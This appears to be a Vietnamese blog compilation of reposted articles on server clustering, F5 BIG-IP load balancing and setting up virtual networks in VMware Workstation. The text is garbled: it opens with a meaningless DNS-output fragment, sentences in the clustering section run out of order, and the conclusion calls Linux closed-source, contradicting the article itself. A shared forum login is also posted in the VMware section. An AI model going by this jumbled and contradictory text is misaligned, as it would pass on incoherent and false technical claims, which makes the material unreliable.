thống server của www. Thậm chí ở một số đơn vị.vn Address: 210.nhac.vn và nó trả về là www4. Nguyễn Trọng Đường Trong thời đại bùng nổ của công nghệ thông tin hiện nay.188.vui.

và việc phục hồi tài nguyên của một máy chủ trong hệ thống (cluster) được gọi là “fail-back”. hoạt động của hệ thống sẽ bị ngưng trệ. mở rộng trong tương lai. và nâng cao khả năng chịu đựng sai sót của hệ thống. Việc thiết kế và lắp đặt các cluster cần thoả mãn các yêu cầu sau: Yêu cầu về tính sẵn sàng cao (availability). cũng như việc thêm số lượng người dùng. thêm ứng dụng. Bài báo này giới thiệu nguyên lý và phân tích một số giải pháp clustering đang được áp dụng cho các hệ thống mạng máy tính lớn với hi vọng có thể giúp độc giả hiểu rõ hơn về công nghệ tưởng như đơn giản nhưng thực tế khá phức tạp này. Chúng ta đều biết các máy chủ là trái tim của của mạng máy tính. Yêu cầu về độ tin cậy cao (reliability). Độ tin cậy cao của cluster được hiểu là khả năng giảm thiểu tần số xảy ra các sự cố. vấn đề đặt ra là cần có một giải pháp để đảm bảo cho hệ thống vẫn hoạt động tốt ngay cả khi có sự cố xảy ra đối với máy chủ mạng. nhưng những hỏng hóc đối với các thiết bị mạng nói chung và các máy chủ nói riêng là điều không thể tránh khỏi. thì toàn bộ công việc mà máy chủ này đảm nhận sẽ được tự động chuyển sang cho một máy chủ khác (trong cùng một cluster) mà không làm cho hoạt động của hệ thống bị ngắt hay gián đoạn. và thiệt hại khó có thể lường trước được. Yêu cầu về khả năng mở rộng được (scalability). Quá trình này gọi là “fail-over”. Do vậy. máy tính vào hệ thống để nâng cao chất lượng dịch vụ. Clustering cho phép sử dụng nhiều máy chủ kết hợp với nhau tạo thành một cụm (cluster) có khả năng chịu đựng hay chấp nhận sai sót (fault-tolerant) nhằm nâng cao độ sẵn sàng của hệ thống mạng. dịch vụ và thêm các tài nguyên mạng khác. Việc nâng cấp mở rộng bao hàm cả việc thêm các thiết bị. Các tài nguyên mạng phải luôn sẵn sàng trong khả năng cao nhất để cung cấp và phục vụ các người dùng cuối và giảm thiểu sự ngưng hoạt động hệ thống ngoài ý muốn. Tổng quan về công nghệ Clustering Clustering là một kiến trúc nhằm đảm bảo nâng cao khả năng sẵn sàng cho các hệ thống mạng máy tính. và công nghệ clustering (bó) là câu trả lời cho vấn đề này. Điều đáng tiếc là dù các hãng sản xuất đã cố gắng làm mọi cách để nâng cao chất lượng của thiết bị. bảo trì. Cluster là một hệ thống bao gồm nhiều máy chủ được kết nối với nhau theo dạng song song hay phân tán và được sử dụng như một tài nguyên thống nhất. nếu máy chủ mạng hỏng. . Nếu một máy chủ ngừng hoạt động do bị sự cố hoặc để nâng cấp.Sự ngừng hoạt động của mạng máy tính trong những cơ quan này có thể làm tê liệt các hoạt động chính của đơn vị. Hệ thống phải có khả năng dễ dàng cho việc nâng cấp.

nhưng không dùng chung cơ sở dữ liệu. các dịch vụ ở tầng trước và giữa (front-end and middle-tiers services) được tổ chức thành các farm sử dụng các clone. Được gọi là pack (khối) vì sự hoạt động của các máy chủ thành viên của pack có liên hệ chặt chẽ với nhau và chúng làm việc theo một phương thức thống nhất để quản lý và duy trì các dịch vụ. Trong hầu hết các trường hợp. những hệ thống đáp ứng được ba yêu cầu trên được gọi là hệ thống RAS (cần phân biệt với Remote Access Service là dịch vụ truy cập từ xa). Cluster Pack là một nhóm các máy chủ hoạt động cùng với nhau và chia sẻ với nhau các phần của cơ sở dữ liệu. Khi một nút ở chế dộ chủ động. Ngoài ra.Ba yêu cầu trên được gọi tắt là RAS (Reliability-Availability-Scalability). sai sót của phần mềm hay các sai sót do người sử dụng. Hình 1. Để chống lại các sự cố này cần xây dựng một cơ sở dữ liệu được bảo vệ chắc chắn cũng như có các kế hoạch khôi phục. Nguyên lý hoạt động của Cluster có thể biểu diễn như trong hình 1. nó sẽ chủ động xử lý các yêu cầu. Cấu trúc của Cluster Cluster được tổ chức thành các nhóm gọi là các farm hay pack. nó sẽ nằm ở chế độ dự phòng nóng (stanby) chờ để sẵn sàng thay thế cho một nút khác nếu bị hỏng. Cũng bởi tính chất này nên các máy chủ thành viên của farm làm việc độc lập và chúng được gọi là clone (clone là máy tính được thiết kế để mô phỏng chức năng của máy tính khác). Được gọi là farm (trang trại) bởi vì chúng xử lý bất cứ yêu cầu nào gửi đến cho chúng bằng các bản sao cơ sở dữ liệu (tài nguyên) giống hệt nhau được lưu giữ cục bộ. Khi một nút là thụ động. Nguyên lý hoạt động của một Cluster Trong một cluster có nhiều nút có thể kết hợp cả nút chủ động và nút thụ . pack và clone trong hệ thống cluster sẽ được làm rõ ngay dưới đây. kỹ thuật clustering không thể chống lại các sự cố xảy ra do virus. Cũng cần chú ý rằng hiệu quả hoạt động của hệ thống Clustering phụ thuộc vào sự tương thích giữa các ứng dụng và dịch vụ. giữa phần cứng và phần mềm. Các khái niệm farm. trong khi đó các dịch vụ tầng sau (back-end services) được tổ chức thành các pack. backup dữ liệu. chứ không dùng chung một bản cơ sở dữ liệu. Chế độ hoạt động của Cluster Mỗi máy chủ trong cluster được gọi là một nút (cluster node). Cluster Farm là một nhóm các máy chủ chạy các dịch vụ giống nhau. và có thể được thiết lập ở chế độ chủ động (active) hay thụ động (passive).

Vì là nút chủ động nên bình thường máy chủ này cũng phải đảm nhận một số ứng dụng hay dịch vụ gì đó. Do vậy để đảm bảo hệ thống hoạt động bình thường kể cả khi có sự cố thì máy chủ trong cluster cần phải có cấu hình dư ra đủ để có thể gánh thêm khối lượng công việc của máy chủ khác khi cần. Trong cấu trúc cluster mà số nút chủ động nhiều hơn số nút bị động. Cluster nhiều địa điểm phân tán Với các hệ thống mạng lớn có các người dùng phân bố rải rác. toàn bộ cấu trúc của điểm gốc được xây dựng lại đầy . hiệu quả của việc phòng chống sự cố và nâng cao tính sẵn sàng của mạng sẽ được cải thiện hơn nhiều nếu xây dựng hệ thống cluster bố trí tại nhiều địa điểm. khi có sự cố xảy ra thì nó sẽ phải gánh thêm công việc của máy chủ hỏng. Trong những mô hình loại này việc quyết định một nút được cấu hình là chủ động hay thụ động rất quan trọng.động. trong đó phổ biến nhất là có một điểm gốc và một số điểm ở xa. Để hiểu lý do tại sao. . các ứng dụng và dịch vụ đang chạy trên nút hỏng có thể lập tức được chuyển sang nút thụ động. Trong cấu trúc cluster mà mỗi nút chủ động được dự phòng bởi một nút thụ động.Nếu một nút chủ động bị sự cố và có một nút thụ động đang sẵn sàng. các máy chủ cần có cấu hình tài nguyên CPU và bộ nhớ mạnh hơn nữa để có thể xử lý được khối lượng công việc cần thiết khi một nút nào đó bị hỏng. hãy xem xét các tình huống sau: . các ứng dụng và dịch vụ đang chạy trên máy chủ hỏng sẽ phải chuyển sang một máy chủ khác cũng đóng vai trò nút chủ động. Lý tưởng nhất là mỗi cluster nhiều nút có ít nhất hai nút làm máy điều khiển vùng và đảm nhiệm việc failover đối với những dịch vụ vùng thiết yếu. Với kiểu thiết kế đầy đủ. các máy chủ cần có cấu hình sao cho với khối lượng công việc trung bình chúng sử dụng hết khoảng 50% CPU và dung lượng bộ nhớ. Vì máy chủ đóng vai trò nút thụ động hiện tại chưa chạy ứng dụng hay dịch vụ gì cả nên nó có thể gánh toàn bộ công việc của máy chủ hỏng mà không ảnh hưởng gì đến các ứng dụng và dịch vụ cung cấp cho người dùng cuối (Ngầm định rằng các các máy chủ trong cluster có cấu trúc phần cứng giống nhau). Nếu không như vậy thì khả năng sẵn sàng của các tài nguyên trên cluster sẽ bị phụ thuộc vào khả năng sẵn sàng của các máy điều khiển trong domain. Các nút trong một cluster thường là một bộ phận của cùng một vùng (domain) và có thể được cấu hình là máy điều khiển vùng (domain controllers) hay máy chủ thành viên.Nếu tất cả các máy chủ trong cluster là chủ động và có một nút bị sự cố. Kiến trúc nhiều địa điểm có thể được thiết kế theo rất nhiều cách khác nhau.

Có mức chịu đựng lỗi rất cao nhưng cũng dư thừa nhiều. Cả kiểu thiết kế đầy đủ hay từng phần đều dùng phương cách phân tán các máy chủ rải rác về mặt địa lý. 1 Phản chiếu Hai volume trên hai ổ đĩa có cấu hình giống hệt nhau. Duy trì hoạt động ở mức cơ bản trong trường hợp điểm gốc site bị sự cố. Cung cấp một số dịch vụ hạn chế nếu cần. được phân thành vành đai và được phn chiõu. dữ liệu không bị mất vì ổ đĩa kia cũng lưu dữ liệu. Có dự phòng nóng. . Với kiểu thiết kế thực hiện từng phần thì chỉ có các thành phần cơ bản là được cài đặt ở các điểm ở xa nhằm: Xử lý các khối lượng công việc quá tải trong các giờ cao điểm. mỗi volume trên một ổ đĩa riêng. Các đầu mục trong bảng được sắp xếp từ mức RAID cao nhất đến thấp nhất. Hiệu suất sử dụng ổ đĩa thấp. 5 Phân “vành” có chẵn lẻ Cần 3 volume trở lên. Bảng 1. mỗi volume trên một ổ đĩa riêng và được cấu hình giống hệt nhau tạo thành một tổ hợp vành được sao gương có kiểm tra lỗi chẵn lẻ (parity error checking). Trong trường hợp này. Nếu một ổ bị lỗi. Hiệu suất đọc cao hơn so với kiểu sao gương. Dữ liệu được ghi vào cả hai ổ đĩa. Dữ liệu được ghi tuần tự lên các ổ đĩa có cấu hình giống hệt nhau. yêu cầu đối với kết nối trong mạng LAN ảo phải có độ trễ khoảng dưới 500 ms. Để có thể duy trì hoạt động cluster một cách hiệu quả. Cluster phân tán về địa lý sử dụng mạng LAN ảo (Virtual LAN) để kết nối các mạng khu vực lưu trữ SAN (storage area network) qua những khoảng cách lớn. 0+1 Phân “vành” + phản chiếu Hai volume trở lên. Trong trường hợp bị lỗi thì dữ liệu vẫn có thể phục hồi lại được. Hiệu suất ghi tốt hơn so với đĩa phân “vành” có chẵn lẻ. Điều này cho phép các điểm ở xa hoạt động độc lập và có thể xử lý toàn bộ khối lượng công việc của điểm gốc nếu cần. Trong bảng 1 dưới đây cung cấp một cách khái quát những cấu hình hệ thống đĩa dự phòng RAID phổ biến có thể lựa chọn cho Cluster.đủ ở các điểm ở xa. việc thiết kế phải đảm bảo sao cho cơ sở dữ liệu và các ứng dụng giữa điểm gốc và các điểm ở xa phải đồng bộ và được cập nhật sao lặp ở chế độ thời gian thực. Có khả năng chịu đựng lỗi nhưng ít dư thừa hơn so với kiểu sao gương. Tối ưu hoá các thiết bị lưu trữ trên cluster Các thiết bị lưu trữ trên cluster cần được tối ưu hoá trên cơ sở những nhu cầu về hiệu năng và mức độ sẵn sàng. Có dự phòng nóng với hiệu suất đọc/ghi tốt. mỗi volume trên một ổ đĩa riêng và được cấu hình như nhau thành một tổ hợp vành có kiểm tra lỗi chẵn lẻ. Các cấu trúc RAID cho Cluster Mức RAID Kiểu RAID Mô tả RAID Ưu/Nhược điểm 5+1 Phân “vành” (Disk striping) có kiểm tra chẵn lẻ (parity checking) + phản chiếu (mirroring) Cần 6 khối (volume) trở lên.

Ví dụ như Hệ điều hành Window 2000 Advanced Server hỗ trợ tối đa 8 bộ vi xử lý và 8 GB RAM. Tính mở của Cluster Một vấn đề mà các nhà đầu tư xây dựng hệ thống cần quan tâm là khả năng mở rộng của hệ thống Clustering. Như vậy. Ví dụ như trình bày trong bảng 2 sau đây. Tuỳ theo yêu cầu cụ thể các cluster có thể cần phải thêm các máy chủ vào Cluster. thì cả hai yếu tố là Kỹ thuật clustering lẫn Hệ điều hành mà server sử dụng đều quan trọng. số nút máy chủ của Cluster tối đa là 8. việc tìm hiểu về Linux clustering là một vấn đề rất cần thiết). Linux Cluster Mặc dù công nghệ clustering hiện nay vẫn phổ biến dùng hệ điêù hành nguồn đóng. . Muốn mở rộng Cluster bằng cách thêm các server. hoặc thêm CPU và RAM cho các máy chủ để tăng khả năng đảm nhận công việc cho các máy chủ đã có. nhưng các thống kê về thị phần và mức tăng trưởng của thị trường máy chủ cho thấy rõ ràng là sự chuyển dịch sang các hệ điều hành nguồn mở như Linux đang ngày càng trở nên hiện thực (IBM đã đầu tư khoảng 1 tỷ USD để phát triển hệ thống IBM Linux cluster. Bởi vậy khi thảo luận về công nghệ clustering.NET Advanced Server 32 8 4 Datacenter Server 32 8 8 Muốn mở rộng Cluster bằng cách thêm vào các CPUs và RAM thì việc đang dùng hệ điều hành nào là vấn đề rất quan trọng.0 Phân “vành” Hai hay nhiều volume trên từng ổ đĩa riêng được cấu hình thành một “vành” (stripe set). sự khác nhau cơ bản về khả năng mở rộng của Advanced Server và Datacenter Server là số nút có thể dùng với Cluster. Dữ liệu được chia thành các khối được ghi tuần tự lên tất cả các ổ đĩa trong stripe set. trong khi đó Window 2000 Datacenter Server hỗ trợ tối đa 32 bộ vi xử lý và 64 GB RAM. Tốc độ và hiệu năng những không có bảo vệ dữ liệu. có thể phải nâng cấp hệ điều hành từ Advanced Server lên Datacenter Server nếu yêu cầu thêm CPU và RAM vượt quá khả năng của hệ điều hành đang dùng. Với Windows 2000.NET. trong khi đó với Windows . Số nút tối đa tương ứng với các hệ điều hành và kỹ thuật Clustering Hệ điều hành Kỹ thuật Clustering Tên gọi Phiên bản Cân bằng tải mạng Cân bằng tải thành phần Dịch vụ Cluster Windows 2000 Advanced Server 32 8 2 Datacenter Server 32 8 4 Windows . số nút máy chủ của Cluster tối đa là 4. Bảng 2.

Về nguyên lý hoạt động nói chung hệ thống Linux cluster cũng giống như các hệ thống cluster dùng phần mềm nguồn đóng. xem tệp nhật ký hệ thống. Có ba mạng chức năng cần phải có: · Mạng dành cho việc liên lạc giữa các tiến trình IPC (inter process communication) với tốc độ phụ thuộc vào bài toán được đặt ra. Linux cluster có độ tin cậy và tính ổn định khá cao. . Chương trình quản lý được dùng trong các Linux cluster tuỳ theo yêu cầu của khách hàng có thể hỗ trợ các chức năng bao gồm việc cung cấp giao diện dòng lệnh hoặc cửa sổ. Intel Linux cluster cũng đang xuất hiện trong các dự án nghiên cứu trong công nghiệp. tuy nhiên việc thiết kế một Linux cluster hay một siêu cluster không phải là đơn giản. giám sát các tham số quan trọng. được cài đặt trên từng nút của cluster. Đó là một phương án không quá tốn kém đối với những vấn đề của công nghệ thông tin như lập trình song song. thường là mạng được thiết lập bởi các chuyển mạch 10/100 Ethernet. Độ tin cậy cao. nó đòi hỏi phải xác định được các lớp rất trừu tượng và độ phức tạp tăng theo kích thước của cluster. · Mạng dùng cho vào/ra tệp (file I/O). Hình 2: Sơ đồ nguyên lý của một Linux cluster lớn Như đã nói ở trên. mới đầu dưới dạng hộp mẫu hoặc thử nghiệm hệ thống đang thiết kế. · Mỗi hệ thống cần có một nút quản lý · Việc vào/ra bên ngoài cần có một hay nhiều nút lưu trữ. Sơ đồ nguyên lý của một Linux cluster cỡ lớn có thể biểu diễn như trong hình 2.v. Các chức năng quản trị từ xa như thiết đặt lại hệ thống. Mạng IPC cũng có thể kiêm luôn nhiệm vụ này · Mạng phục vụ cho việc quản lý hệ thống. Đồng thời. phát triển công cụ song song và quản lý các hệ thống phân tán. Các đề án về giải pháp Linux cluster phải do những người có hiểu biết cần thiết về các vấn đề này xây dựng nên. Việc xác định các nút cần thiết phải theo các nguyên tắc sau: · Cứ 32 đến 64 nút tính toán cần có một nút đầu mối. Tốc độ tính toán nhanh. kiểm soát nguồn.Linux cluster được chú ý phát triển nhờ có các đặc điểm như: Giá thành rẻ do phát triển từ hệ điều hành UNIX có mã nguồn mở. Cũng cần phải có cả máy chủ phục vụ đầu cuối trong mạng này. thao tác đơn tác động song song đến nhiều nút v. Linux cluster trên cơ sở bộ xử lý Intel đã trở nên thông dụng trong các viện ngiên cứu. tuy nhiên hệ điều hành cơ sở cho Linux cluster là hệ điều hành Linux.

khi định thiết đặt một cấu trúc clustering cho hệ thống mạng của mình. 8 nút hoặc nhiều hơn. Bạn có thể xem chi tiết hình ảnh: http://www. cơ hội. nhà cung cấp bị phàn nàn. hàng nghìn nhà đầu tư bị mất chi phí. tổ chức. Tại sao phải chia tải Mỗi ngày có hàng ngàn người truy cập vào trang web của DN. Bởi vậy.. ì ạch hay trong một giờ tất cả những hoạt động đó bị ngừng lại? DN sẽ mất đi cả trăm khách hàng. mỗi ngày có hàng ngàn lượt người truy cập vào trang web./. nhà đầu tư cần xem xét kỹ các yếu tố nêu trên để có thể quyết định lựa chọn giải pháp tối ưu cho mình. 4 nút. hàng triệu giao dịch được thực trên các hệ thống ứng dụng . có nút thụ động.com/Default. sức cạnh tranh.. Hệ điều hành cũng là một yếu tố quan trọng cần xem xét khi thiết kế clustering cho mạng. đối tác tiềm năng. Tuỳ theo yêu cầu cụ thể của hệ thống mà có thể cấu trúc cluster 2 nút. Điều gì sẽ xảy ra nếu các dịch vụ đó hoạt động kém cỏi. hoặc có nút chủ động. hình ảnh. các yêu cầu của khách hàng cũng như các công nghệ và thiết bị cho giải pháp này. Các hệ điều hành nguồn đóng như Linux tuy khó thiết định nhưng lại có tính bảo mật và độ an toàn cao hơn. . tuy nhiên tính bảo mất thường không cao.linhkiengiasi. hàng triệu thuê bao sử dụng điện thoại và các dịch vụ gia tăng của nhà cung cấp.Ncid=2&nid=468 +++++++++++++++++ Giai phap chia tai cho ung dung cua Doanh Nghiep Một Giải pháp toàn diện cho vấn đề này dùng thiết bị chuyên dụng về quản lý lưu lượng: Đối với các DN vừa và lớn.. kinh doanh của khách hàng bị ảnh hưởng. Một mạng được cấu trúc dưới dạng clustering sẽ có khả năng hoạt động bình thường ngay cả khi có sự cố xảy ra cho một máy chủ mạng trong cluster.Kết luận Clustering là một kỹ thuật được áp dụng nhằm nâng cao độ tin cậy và tính sẵn sàng của hệ thống mạng máy tính.. hàng nghìn tỷ đồng giao dịch giữa các ngân hàng. Mỗi cấu trúc của cluster sẽ đòi hỏi một cấu hình phần cứng của các máy chủ tương ứng. Đó không chỉ là thiệt hại về kinh tế mà còn về uy tín. các hoạt động giao dịch. Lựa chọn các phần mềm nguồn đóng như Window 2000 đảm bảo hệ thống dễ thiết lập. Các nút trong cluster có thể toàn ở thể chủ động. Bài viết giới thiệu về giải pháp chia tải giúp hệ thống ứng dụng của các DN luôn đáp ứng kịp thời và bảo mật.

tài chính. Để tránh tình trạng trên. tính phức tạp cao nên khả năng mở rộng của giải pháp này bị hạn chế. Do đó. chẳng hạn như đường mạng bị đứt. nếu tại mỗi thời điểm mỗi chức năng chỉ có một server hoạt động hoặc không có giải pháp chuyên dụng để chia tải cho các server thì không thể đáp ứng được nhu cầu của hệ thống ứng dụng đồ sộ. phần mềm hiệu năng thấp. tổ chức có lỗi. Proxy này sẽ thực hiện nhiệm vụ chia tải trên các server sao cho hợp lý. dễ tồn tại nhiều lỗi hệ thống. đảm bảo tính sẵn sàng.. cũng vì chỉ hoạt động ở mức ứng dụng nên hiệu năng không cao. Giải pháp này vì hoạt động ở mức ứng dụng nên có khả năng caching (là công nghệ lưu trữ cục bộ dữ liệu được truy cập với tần suất cao) và khả năng firewall ở tầng ứng dụng. phần lớn do hệ thống nội bộ trong các DN. Nhược điểm . ứng dụng bị lỗi. vì cài đặt trên một máy độc lập nên việc theo dõi trạng thái của các máy chủ gặp khó khăn. không có cơ chế tăng tốc. phần cứng. khó có được những tính năng tăng tốc và bảo mật cho ứng dụng. Các giải pháp thuộc nhóm này có ưu điểm là quen thuộc với những nhà quản trị chuyên nghiệp. Các giải pháp chia tải trên thế giới Việc chia tải có thể thực hiện bằng nhiều phương cách. * Chia tải nhờ proxy: Nhóm này thường tận dụng khả năng chia tải sẵn có trên phần mềm proxy như ISA Proxy của Microsoft hay Squid phần mềm mã nguồn mở cài trên máy phổ dụng. Làm sao để các server đó có thể phối hợp với nhau hiệu quả. hình thức khác nhau. HP. các DN đều đã và đang đầu tư hệ thống hạ tầng một cách bài bản nhằm đạt hiệu năng cao. Tuy nhiên. cũng có thể do hệ thống bị tấn công.. vì sử dụng máy phổ dụng nên không được tối ưu. mất điện cục bộ. Đó là lý do ra đời của các giải pháp chia tải. hệ thống không được sử dụng tối ưu. tính tin cậy cao hơn. phức tạp khi triển khai cũng như khắc phục khi xảy ra sự cố. nhà cung cấp dịch vụ. Tuy nhiên. Các hệ điều hành cho máy chủ thế hệ mới của các hãng Microsoft. đòi hỏi hoạt động liên tục như các trang web thương mại điện tử. với các công nghệ khác nhau hay kết hợp chúng lại: * Chia tải bằng phần mềm cài trên các máy chủ: Kết hợp nhiều server một cách chặt chẽ tạo thành một server ảo (virtual server). hầu hết đều cung cấp khả năng này. máy chủ bị lỗi hay bị tấn công và có thể xảy ra ở bất cứ hệ thống nào. Đó là việc trang bị các máy chủ ứng dụng mạnh. khả năng mở rộng tốt vì cài đặt trên một máy độc lập. các ứng dụng nhiều người dùng. có thể chia sẻ được nhiều tài nguyên trong hệ thống. có dự phòng. do sử dụng phần mềm trên server. có rào cản về tính tương thích. liên tục. bất cứ lúc nào. các hoạt động tiền tệ. cung cấp hiệu năng và tính sẵn sàng cao hơn. Vì sử dụng máy phổ dụng nên giải pháp này có ưu điểm là chi phí thấp. các cửa ngõ giao tiếp với khách hàng của ngân hàng. theo dõi được trạng thái của các máy chủ trong nhóm để chia tải hợp lý. dễ quản trị. một số hãng phần mềm khác như Veritas(Symantec) cũng cung cấp giải pháp theo hướng này.Nguyên nhân gây ra tình trạng trên có thể do hạ tầng mạng. Đối với lỗi gây đình trệ hệ thống. thiết bị bị hỏng. an toàn. chứng khoán. cần phải có nhiều server cùng đồng thời cung cấp một dịch vụ cho hệ thống. Tuy nhiên. IBM.

không theo dõi được trạng thái của máy chủ. mở rộng tốt thì kém thông minh. hiệu năng thấp. giải pháp có khả năng theo dõi trạng thái ứng dụng tốt thì mở rộng. thì theo dõi trạng thái ứng dụng kém. Vì sử dụng thiết bị chuyên dụng nên có hiệu năng cao. thiết bị này có khả năng kiểm soát. ngân hàng. dễ mắc lỗi. Với thuật toán này các yêu cầu về IP của một tên miền ứng với nhiều server sẽ được biên dịch thành địa chỉ IP của các server đó theo thứ tự quay vòng. thông minh của phần mềm thông qua HĐH riêng TMOS do F5 tự nghiên cứu và phát triển. chứng khoán và các nhà cung cấp dịch vụ. phân luồng gói tin một cách thông minh. thường thuật toán chia tải rất đơn giản như DNS round-robin (đây là thuật toán chia tải phổ biến nhất và đơn giản. Cách thức này cũng hoàn toàn không phù hợp đối với các hệ thống yêu cầu tính chuẩn xác của các hoạt động giao dịch như tài chính. giải pháp hiệu năng cao. tăng tốc kém(GP chia tải nhờ thiết bị chia kết nối). mở rộng tốt. ISA của Microsoft. Đây là một thiết bị chia tải chuyên dụng khai thác tinh tế. Một trong những thiết bị quản trị lưu lượng hàng đầu được biết đến là BIG IP LTM của hãng F5 Networks. tăng tốc tốt và bảo mật là rất quan trọng đối với các hoạt động của ngân hàng. bảo mật tốt. tính ổn định cao. dễ gây lỗi ứng dụng. Trong khi đó. ổn định. không ổn định. Đây là điều không thể chấp nhận được đối với các hệ thống đòi hỏi tính sẵn sàng cao như ngân hàng. thường hoạt động từ layer 4 trở xuống. BIG IP LTM được coi là một bước tiến vượt bậc không chỉ trong công nghệ cân bằng tải mà còn về công nghệ bảo mật bởi nó có thể tích hợp các tính năng của Firewall. tăng tốc. xử lý kết nối ở mức ứng dụng rất kém. trạng thái kết nối và khả năng đáp ứng của ứng dụng tương tự giải pháp sử dụng phần mềm chạy trên máy chủ nhưng nhờ có HĐH riêng chuyên dụng được “cứng hóa”(hardened) nên bảo mật hơn và có khả năng xử lý song song. bảo mật kém(GP dùng phần mềm). tài chính. điều khiển và tối ưu hóa lưu lượng mạng chạy qua nó. tuy nhiên cứng nhắc và hiệu quả thấp. có khả năng phòng chống hiệu quả các hình thức tấn công DoS. khả năng mở rộng tốt hơn nhưng khó phát triển được tính năng bảo mật phức tạp như giải pháp proxy. Thiết bị này sử dụng các thuật toán mềm dẻo để theo dõi tự động trạng thái máy chủ. Giải pháp mở rộng. Nhóm này có khả năng chia tải động kém. tăng tốc. hay Netscaler của Citrix) * Sử dụng thiết bị quản trị lưu lượng: là thiết bị có kiến trúc của một proxy hoàn chỉnh. có hỗ trợ các chuẩn bảo mật tiên tiến nhất nhất là FIPS 140-2 . * Chia tải nhờ thiết bị chia kết nối: Nhóm này thường sử dụng các mođun cắm thêm trên các thiết bị chuyên dụng như Bộ định tuyến (Router) hay hay bộ chuyển mạch (Switch) để chia tải theo luồng. ổn định. tất cả các yêu cầu về hiệu năng cao. nhanh chóng. Như vậy. Nhờ đó. hiệu năng thấp(GP sử dụng proxy). dễ gây lỗi ứng dụng và giá thành cao. GP sẵn có của các hãng chỉ đáp ứng được một phần trong các yêu cầu trên như Module CSS của Cisco.lớn nhất của các giải pháp dòng này thường có tính ổn định kém.

BIG-IP LTM cung cấp giao diện lập trình iControl cho phép người dùng có những tác động hạn chế lên nền tảng của BIG-IP.com/showthread. các DHCP server ảo . Dynamic Ratio. Tới nay. giải mã (cả khóa và dữ liệu) bằng phần cứng. Least Connections. VMware cho phép người dùng tạo ra các mạng ảo giữa máy thật. BIG-IP LTM được đánh giá cao ở tính năng bảo mật nhờ khả năng nhận dạng tấn công đến tận tầng ứng dụng thông qua việc ảo hóa. F5 BIG-IP LTM có thuật toán cân bằng tải phong phú và thông minh dựa trên cơ chế tĩnh và động. đóng vai trò Ipv6 gateway cho mạng Ipv4 nên đáp ứng được sự chuyển đổi mạng từ Ipv4 sang Ipv6 trong tương lai. những gì có thể làm căn cứ cho hacker tìm ra điểm yếu của hệ thống để tấn công. lỗi phần cứng. và che dấu các lỗi ứng dụng.10 switch ảo. 1 bridg ảo. từng bộ phận) đem lại sự thông minh trong điều khiển và khả năng phân mức ưu tiên cho ứng dụng.php?t=148461&page=2 Được đăng bởi haodalat tại 10:36 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT.Level 2 và HIPAA. các máy ảo và mạng ngoài của máy thật. NETWORK 11-04-2008 Tạo mạng ảo bằng VMware Workstation – thực hành mạng mà khong cần đến nhiều máy tính và switch . bao gồm Round-Robin.ddth. Predictive và Observed khắc phục hoàn toàn nhược điểm của phương pháp cân bằng tải cứng nhắc dựa trên thuật toán DNS round-robin Đặc biệt với ngôn ngữ lập trình iRule. Tha hồ mà thực hành mạng mà khong cần đến nhiều máy tính và .3 loại NIC trong vmware: + NIC thật của máy thật. sản phẩm BIG-IP có thể được tùy biến lại việc cân bằng tải. MCSA. 1 NAT device ảo. đây là giải pháp duy nhất có kỹ thuật multi-store caching (là khả năng quản lý các vùng cache khác nhau cho từng ứng dụng. “Nối” các thiết bị này lại với nhau sẽ có được mạng ảo theo mong muốn. Hơn nữa HĐH TMOS được kết hợp giữa kiến trúc phần cứng xử lý hiệu năng cao với kiến trúc phần mềm module hóa tới từng giao thức. Để tạo mạng ảo Vmware cung cấp cho người dùng các thiết bị sau: . + NIC ảo của máy ảo + NIC ảo của máy thật.. real URL. Vmwar ngoài chức năng tạo máy ảo nó còn có một chức năng rất hữu ích cho những ai muốn thực hành mạng mà lại không có nhiều máy tính và switch. http://www. Fastest. Chức năng caching thông minh của BIG-IP khiến cho có thể offload tải (là khả năng chuyển tải cho một modun phần cứng chuyên dụng để xử lý) giúp các các máy chủ ứng dụng và web tăng cường hiệu năng. Bài viết này sẽ hướng dẫn cách bạn tự tạo cho mình một mạng ảo theo ý muốn. Đặc biệt F5 tăng cường bảo mật cho kết nối SSL với khả năng mã hóa. cộng với khả năng quản trị hệ thống ở mức thời gian thực đã xóa bỏ rào cản công nghệ của cả hai nhóm appliance và software.

2. 2000 hoặc XP. Sử dụng: Sau khi đăng ký bằng cách nhập số Serial khi chạy VMware lần đầu (bạn có thể đăng ký nhận số serial free ở VMWare. có hai chương trình tùy vào hệ điều hành mà các bạn sử dụng là Windows và Linux.vn/echiproot/weblh/suutam/2003/ddth/vmware/VMWar e3. pass: vtempregacc +++++++++++ http://www.com. Trong khuôn khổ bài viết này. các bạn sẽ có: Các bạn nên chọn kiểu cài đặt máy là Custom để dễ dàng cấu hình Hệ điều .com/files/78Y4WKQ0/Tao_Mang_Ao_Bang_VMwareWork station. . được tải từ http://www.fotech. các bạn phải cài đặt nó trên NT.org/forum/index.htm +++++++ VMWare Workstation 3.com để được sử dụng 30 ngày).html nếu hết hạn thì vào mirror sau: http://www. các bạn nên chọn tùy chọn này. tôi xin trình bày cách cài đặt và sử dụng VMWare version 3.0 để biết thêm một số thuật ngữ và khái niệm về VMWare cũng như cấu hình máy để chạy VMWare.com/download/.rar. Download và Cài đặt: Các bạn phải có bộ cài đặt Virtual Machine.0 Được viết bởi ThanhPhuHTV viết cho Diễn Đàn Tin Học Ghi chú: Bạn có thể nên đọc qua bài viết về VMWare Workstation 2.exe (sau khi download). các bạn cần accept và Yes một vài cái.echip. Chú ý rằng để sử dụng được VMWare. trình setup có thể đòi Disable khả năng AutoRun của CD.vmware.Các bạn chỉ cần kích đúp lên file VMware-workstation_3. Tùy vào Hệ điều hành mà các bạn tải về bản cài cho đúng.2 build 2230 (bản mới nhất ở ngày 15/11/2002) trên Hệ điều hành WindowsXP. kích chọn biểu tượng New Virtual Machine trong hình trên.php? showtopic=11083 với username: tempregaac. cách bạn sẽ vào được giao diện của VMware như sau: Để tạo một máy ảo mới các bạn cần khởi tạo một New Virtual Machine.uploading.0-2230. quá trình cài đặt sẽ tiến hành bình thường.switch File download bài hướng dẫn tại: http://www.

